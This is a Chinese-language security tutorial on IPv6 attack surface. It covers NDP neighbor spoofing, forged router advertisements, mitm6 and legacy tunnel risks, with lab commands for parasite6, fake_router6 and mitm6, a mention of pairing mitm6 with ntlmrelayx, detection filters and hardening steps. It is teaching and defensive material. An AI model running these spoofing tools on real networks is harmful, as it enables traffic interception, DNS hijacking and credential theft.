定位:网络基础与协议安全篇 · IPv6 不是「延长线」,而是新攻击面
阅读对象:安全入门者、运维、开发、已懂 ARP 欺骗的读者
声明:NDP 欺骗、RA 伪造实验仅限自有隔离靶场(Host-Only/Internal);未授权网络操作违法。
一、IPv6 普及了,为什么安全人更要紧张?
很多企业网络的状态:
· 运维重点仍在 IPv4 防火墙、IDS 规则 · 终端/手机已默认启用 IPv6(双栈) · 交换机可能未开 RA Guard · 安全设备对 ICMPv6 过滤不一致结果:IPv4 盯得紧,IPv6 成侧门。
| 对比 | IPv4 | IPv6 |
|---|---|---|
| 地址解析 | ARP(广播) | NDP(组播) |
| 自动配置 | DHCP 为主 | SLAAC + RA |
| 广播 | 有 | 无(用组播) |
| 管理员熟悉度 | 高 | 参差 |
上一篇 BGP 讲全球路由;本篇下沉到同一二层网段:IPv6 的「ARP」——邻居发现(NDP)及过渡隧道风险。你会看到:ARP 欺骗的 IPv6 版不仅存在,而且工具更成熟。
二、IPv6 地址与双栈(30 秒复习)
全球单播:2001:db8::/32(文档示例) 链路本地:fe80::/10(每台接口自动有,仅本网段) 组播:ff02::/16(链路本地所有节点、所有路由器等)双栈(Dual Stack):同一接口同时有 IPv4 与 IPv6。
ip-6addr showipaddr show安全启示:关了 IPv4 的 MITM,IPv6 仍可能被欺骗;只加固 v4 防火墙不够。
三、NDP:邻居发现协议
3.1 NDP 是什么?
NDP 由ICMPv6承载,核心消息:
| 消息 | 作用 | IPv4 类比 |
|---|---|---|
| NS(Neighbor Solicitation) | 解析 IPv6→MAC | ARP Request |
| NA(Neighbor Advertisement) | 应答 MAC | ARP Reply |
| RA(Router Advertisement) | 路由器公告前缀、网关 | 无直接对应 |
| RS(Router Solicitation) | 主机请求 RA | DHCP Discover 部分功能 |
| Redirect | 更优下一跳 | ICMP Redirect |
3.2 无认证,和 ARP 一样
谁都可以发 NA:「2001:db8::30 的 MAC 是我」 谁都可以发 RA:「默认网关是我,前缀是 2001:db8:1::/64」没有内置密码学验证(链路本地信任模型)。
3.3 SLAAC 自动配置
收到合法 RA 后,主机可:
· 根据前缀自动生成全球地址(SLAAC) · 将 RA 源 MAC 设为默认网关 · 从 RDNSS 选项学习 DNS 服务器(若 RA 带 DNS)伪造 RA = 控制地址与网关 + 可能控制 DNS—— 比单纯 ARP 欺骗更狠。
四、邻居发现欺骗(ND Spoofing)
4.1 NA 欺骗(IPv6 版 ARP 欺骗)
受害机 2001:db8:1::30 攻击者 Kali 默认网关 2001:db8:1::1 │ │ │ │ NS: 谁有 ::1? │ │───────────────────────────────►│ │◄── NA: ::1 是我 fe80::attacker │ 伪造应答 │ │ │ 流量发往攻击者 MAC ───────────►│ MITM与 ARP 欺骗 同理,需IP 转发与NDP 欺骗工具。
4.2 RA 欺骗(Fake Router)
攻击者周期性广播 RA: · 前缀 2001:db8:66::/64(恶意网段) · 默认网关 = 攻击者链路本地地址 · 可选 RDNSS = 攻击者控制的 DNS ↓ 受害机新增 IPv6 地址,默认路由指向攻击者 ↓ IPv6 流量经 Kali 中转 → MITM / DNS 劫持mitm6等工具专打「Windows 在双栈下优先 IPv6」的场景。
4.3 动画:双栈下的侧门
用户访问 https://target.com DNS 返回 A + AAAA 记录 ↓ 现代系统常 **Happy Eyeballs**:IPv6 与 IPv4 竞速 ↓ 若 IPv6 默认路由被 RA 劫持 → 走 IPv6 经攻击者 ↓ IPv4 防火墙日志:一切正常(流量根本没走 v4)五、过渡方案与隧道风险
为让 IPv4/IPv6 共存,历史上多种过渡技术;不少仍残留在网中。
5.1 双栈(Dual Stack)
| 风险 | 说明 |
|---|---|
| 策略不一致 | v4 有 ACL,v6 全通 |
| 重复服务暴露 | v6 上忘了关管理口 |
| NDP 攻击面 | 见上文 |
建议:IPv6 安全基线 = IPv4 同级,而非附带功能。
5.2 6to4 / Teredo / ISATAP(遗留隧道)
· 将 IPv6 封装进 IPv4 UDP/41 协议穿越 NAT · 常在主机/路由器上动态建立隧道端点| 风险 | 说明 |
|---|---|
| 隧道端点不可控 | 恶意 RA/隧道配置指向攻击者 |
| 防火墙只滤 TCP/UDP 443 | 协议 41、Teredo UDP 被忽视 |
| 已逐步淘汰 | 老系统、游戏、P2P 环境仍可见 |
运维:明确禁用不再使用的过渡协议(GPO/MDM/路由器配置)。
5.3 NAT64 / DNS64
运营商或企业用DNS64 + NAT64让纯 IPv6 客户端访问 IPv4 互联网。
纯 v6 主机 → DNS64 合成 AAAA(64:ff9b::/96 映射)→ NAT64 网关转 v4| 风险 | 说明 |
|---|---|
| DNS64 被劫持 | 映射到错误 v4 地址 |
| 审计盲区 | 日志只在 NAT64 设备 |
| 依赖 DNS 完整性 | 与 DNS 安全 联动 |
5.4 过渡风险汇总
| 技术 | 现状 | 安全关注 |
|---|---|---|
| 双栈 | 主流 | NDP、ACL 对齐 |
| 6rd/6to4 | 减少 | 关隧道 |
| Teredo | 罕见 | 主机禁用 |
| ISATAP | 淘汰 | 企业 GPO 禁用 |
| NAT64/DNS64 | 运营商/云 | DNS 与网关可信 |
六、实验环境
6.1 拓扑(Host-Only,延续专栏)
网关/路由(可选) 192.168.56.1 / fe80::1 Kali 攻击机 192.168.56.10 / fe80::10 受害机 Ubuntu 192.168.56.30 / 自动 SLAAC 网段 192.168.56.0/24 IPv6 ULA 前缀(实验) fd56:56:56::/646.2 受害机启用 IPv6
# /etc/sysctl.confnet.ipv6.conf.all.disable_ipv6=0net.ipv6.conf.default.forwarding=0sudosysctl-p手动模拟 RA 环境(无真实路由器时),在受害机或网关配置 radvd(合法 RA):
sudoaptinstall-yradvdsudotee/etc/radvd.conf<<'EOF' interface eth1 { AdvSendAdvert on; prefix fd56:56:56::/64 { AdvOnLink on; AdvAutonomous on; }; RDNSS fd56:56:56::53 { }; }; EOFsudosystemctl start radvd受害机:
ip-6addr show eth1ip-6route show# 应见 fd56:56:56::/64 与默认路由 via fe80::...6.3 Kali 工具
# THC-IPv6 / mitm6sudoaptinstall-ythc-ipv6 mitm6# 或 Kali 自带部分工具parasite6-hfake_router6-h6.4 打快照
victim-v6-clean/kali-clean
七、实战一:parasite6(NA 欺骗 / 寄生)
原理:监听 NS,抢先回复 NA(类似 arpspoof 的 IPv6 版)。
# Kalisudosysctl-wnet.ipv6.conf.all.forwarding=1sudosysctl-wnet.ipv4.conf.all.forwarding=1# 接口按实际改 eth1;受害机 IPv6 与网关 IPv6 按环境改sudoparasite6-leth1-F2001:db8:1::302001:db8:1::1受害机验证:
ip-6neigh show# 网关 IPv6 的 MAC 是否变为 Kaliping62001:db8:1::1配合tcpdump:
sudotcpdump-ieth1 icmp6-n八、实战二:fake_router6(伪造 RA)
sudofake_router6 eth1 fd66:66:66::/64# 或指定 DNSsudofake_router6 eth1 fd66:66:66::/64 fe80::10受害机观察:
ip-6addr show# 是否出现 fd66:66:66::/64 地址ip-6route show# 是否新增默认路由 via 攻击者危害:新前缀 + 默认路由,流量被静默引流到 IPv6。
九、实战三:mitm6(双栈 Windows/Linux 场景)
mitm6利用 Windows 等对 IPv6 的偏好,伪造 RA 让目标用攻击者为网关,常配合ntlmrelayx等做 Windows 域渗透(靶场演示 DNS/HTTP 劫持即可)。
# 终端 1:伪造 RA + DHCPv6 风格 DNS 劫持sudomitm6-dlab.local-ieth1# 终端 2(可选进阶):配合 responder/ntlmrelayx — 仅授权域环境简化观测实验(不碰域渗透):
1. 受害机双栈,访问内网 HTTP 服务 2. mitm6 运行后看受害机是否新增 IPv6 默认路由 3. Wireshark 过滤 icmp6.type == 134(RA)看伪造包十、Wireshark 分析 IPv6 欺骗
10.1 过滤器
icmpv6 icmpv6.type == 136 # NA icmpv6.type == 134 # RA icmpv6.type == 135 # NS ipv6.addr == fd56:56:56::3010.2 RA 异常特征
| 特征 | 说明 |
|---|---|
| 多路由器 RA | 网段出现两个不同源 MAC 的 RA |
| 陌生前缀 | fd66:...非网管分配 |
| RDNSS 突变 | DNS 指向 fe80::10 |
| 高频 RA | 攻击工具默认间隔较短 |
10.3 与 ARP 欺骗对照抓包
IPv4:arp.opcode == 2 同一 IP 多 MAC IPv6:icmpv6.type==136 同一地址多 MAC十一、防御措施
11.1 交换机层(企业核心)
| 特性 | 作用 |
|---|---|
| RA Guard | 只允许信任端口发 RA |
| DHCPv6 Guard | 阻断非授权 DHCPv6 服务器 |
| ND Inspection | 类似 DAI,绑定 IPv6-MAC |
| Source Guard | 防地址伪造 |
Cisco 示例概念:
ipv6 nd raguard policy HOST device-role host interface Gi0/1 ipv6 nd raguard attach-policy HOST11.2 主机与系统
□ 不需要 SLAAC 的 server 静态配置地址,忽略 RA □ net.ipv6.conf.all.accept_ra = 0(路由器/服务器) □ 禁用 Teredo/ISATAP/6to4(Windows: netsh, GPO) □ 双栈防火墙策略镜像(v4/v6 同等级) □ 关闭未用的 IPv6 监听服务(netstat -tulnp | grep tcp6)Linux 服务器禁用 RA:
# /etc/sysctl.d/99-no-ra.confnet.ipv6.conf.all.accept_ra=0net.ipv6.conf.default.accept_ra=011.3 监控
· NDP 表突变告警(同一 gw 两个 MAC) · 陌生 ULA/GUA 前缀出现 · ICMPv6 Type 134 频率基线 · Zeek 解析 icmpv6 日志11.4 与 IPv4 防御对照
| IPv4 | IPv6 |
|---|---|
| DAI | ND Inspection |
| arpwatch | NDP 监控 / RAguard |
| 静态 ARP | 静态邻居 / 静态 IPv6 |
| 私有 VLAN | 同样适用 |
十二、IPv6 防火墙快配(iptables/nft + ip6tables)
# 仅允许已建立连接 + 必要 ICMPv6(勿盲拦 ND!)sudoip6tables-AINPUT-mconntrack--ctstateESTABLISHED,RELATED-jACCEPTsudoip6tables-AINPUT-pipv6-icmp --icmpv6-type echo-request-jACCEPTsudoip6tables-AINPUT-pipv6-icmp --icmpv6-type router-advertisement-jDROP# 上行:仅信任接口的 RA 应由交换机过滤,主机侧 DROP 入站 RA 可作为加固# 默认策略sudoip6tables-PINPUT DROP注意: blindly 阻断所有 ICMPv6 会破坏 NDP;企业应在接入层用 RA Guard,而非粗暴全禁。
十三、完整实验步骤(90 分钟)
□ 1. Host-Only 三机,受害机启用 IPv6,radvd 发合法 fd56::/64 □ 2. 记录受害机 ip -6 route 与 ip -6 neigh 基线 □ 3. Kali 开启 ipv6 forwarding □ 4. parasite6 欺骗网关 NA,验证 neigh 表 MAC 变化 □ 5. Wireshark 抓 icmpv6.type==136 □ 6. fake_router6 注入 fd66::/64,验证新默认路由 □ 7. 抓 RA(type 134),对比合法 radvd 与伪造参数 □ 8. (可选)mitm6 观察双栈 Windows 受害机 IPv6 路由变化 □ 9. 在受害机设 accept_ra=0 或模拟 RA Guard 后重测,记录防御效果 □ 10. 撰写报告:NDP 与 ARP 对比表 + 过渡方案风险 + 加固清单十四、常见踩坑
| 问题 | 原因 | 解决 |
|---|---|---|
| 受害机无 IPv6 地址 | 未收 RA | 检查 radvd、接口 disable_ipv6 |
| parasite6 无效 | 链路本地 vs 全球地址混用 | 确认目标 IPv6 在同一链路 |
| 欺骗后不通 | 未开 forwarding | sysctl net.ipv6.conf.all.forwarding=1 |
| Windows 无反应 | 未启用 IPv6、仅 LLMNR | 确认网卡 IPv6 非「仅本地」 |
| 抓不到 ICMPv6 | 过滤错网卡 | Host-Only 接口名 eth1/enp0s8 |
| 防御过狠断网 | 阻断必要 NS/NA | 用 RA Guard 而非全禁 ICMPv6 |
十五、法律与伦理
✅ 允许:自有 VM 靶场、书面授权内网 IPv6 安全评估 ❌ 禁止:公司网/校园网未授权 mitm6、伪造 RA ❌ 禁止:利用 IPv6 侧门窃取域凭据IPv6 攻击在真实红队中并不罕见,蓝队必须同等重视。
十六、攻击链位置
内网接入(WiFi/办公网) ├─► IPv4 ARP 欺骗(前篇) └─► IPv6 RA/ND 欺骗(本篇)── 双栈侧门 ├─► DNS 劫持(RDNSS / mitm6) ├─► HTTP 明文嗅探 └─► NTLM 中继等(域环境,授权演示)与 BGP 无关(不同层次);与 DNS、ARP 紧密耦合。
十七、本篇小结
┌─────────────────────────────────────────────────────────────┐ │ IPv6 安全 核心记忆 │ ├─────────────────────────────────────────────────────────────┤ │ NDP = ARP + 自动配置;NA/RA 均可伪造 │ │ RA 欺骗可改默认路由 + DNS(RDNSS) │ │ 双栈下 IPv6 可能成为 MITM 侧门 │ │ 过渡隧道(6to4/Teredo)与 NAT64 有遗留风险 │ │ 防御:RA Guard、ND Inspection、accept_ra、v6 防火墙对齐 v4 │ │ 工具:parasite6、fake_router6、mitm6(仅授权靶场) │ └─────────────────────────────────────────────────────────────┘下一篇预告:《VPN 协议大比拼:IPSec、OpenVPN、WireGuard 安全实测》——从局域网欺骗转到加密隧道的选型与实测。
附录 A:命令速查
# 查看 IPv6ip-6addrip-6routeip-6neigh# 转发sudosysctl-wnet.ipv6.conf.all.forwarding=1# 攻击工具(靶场)sudoparasite6-leth1-F<victim><gateway>sudofake_router6 eth1 fd66:66:66::/64sudomitm6-dlab.local-ieth1# 抓包sudotcpdump-ieth1 icmp6-n附录 B:ICMPv6 类型速查
| Type | 名称 |
|---|---|
| 133 | Router Solicitation |
| 134 | Router Advertisement |
| 135 | Neighbor Solicitation |
| 136 | Neighbor Advertisement |
| 137 | Redirect |
附录 C:与专栏前篇关联
| 前篇 | 关联 |
|---|---|
| ARP 欺骗 | NA 欺骗同构 |
| DNS 安全 | RDNSS、mitm6 劫持 |
| Wireshark | icmpv6过滤器 |
| SSL 剥离 | 双栈下协议选择影响攻击路径 |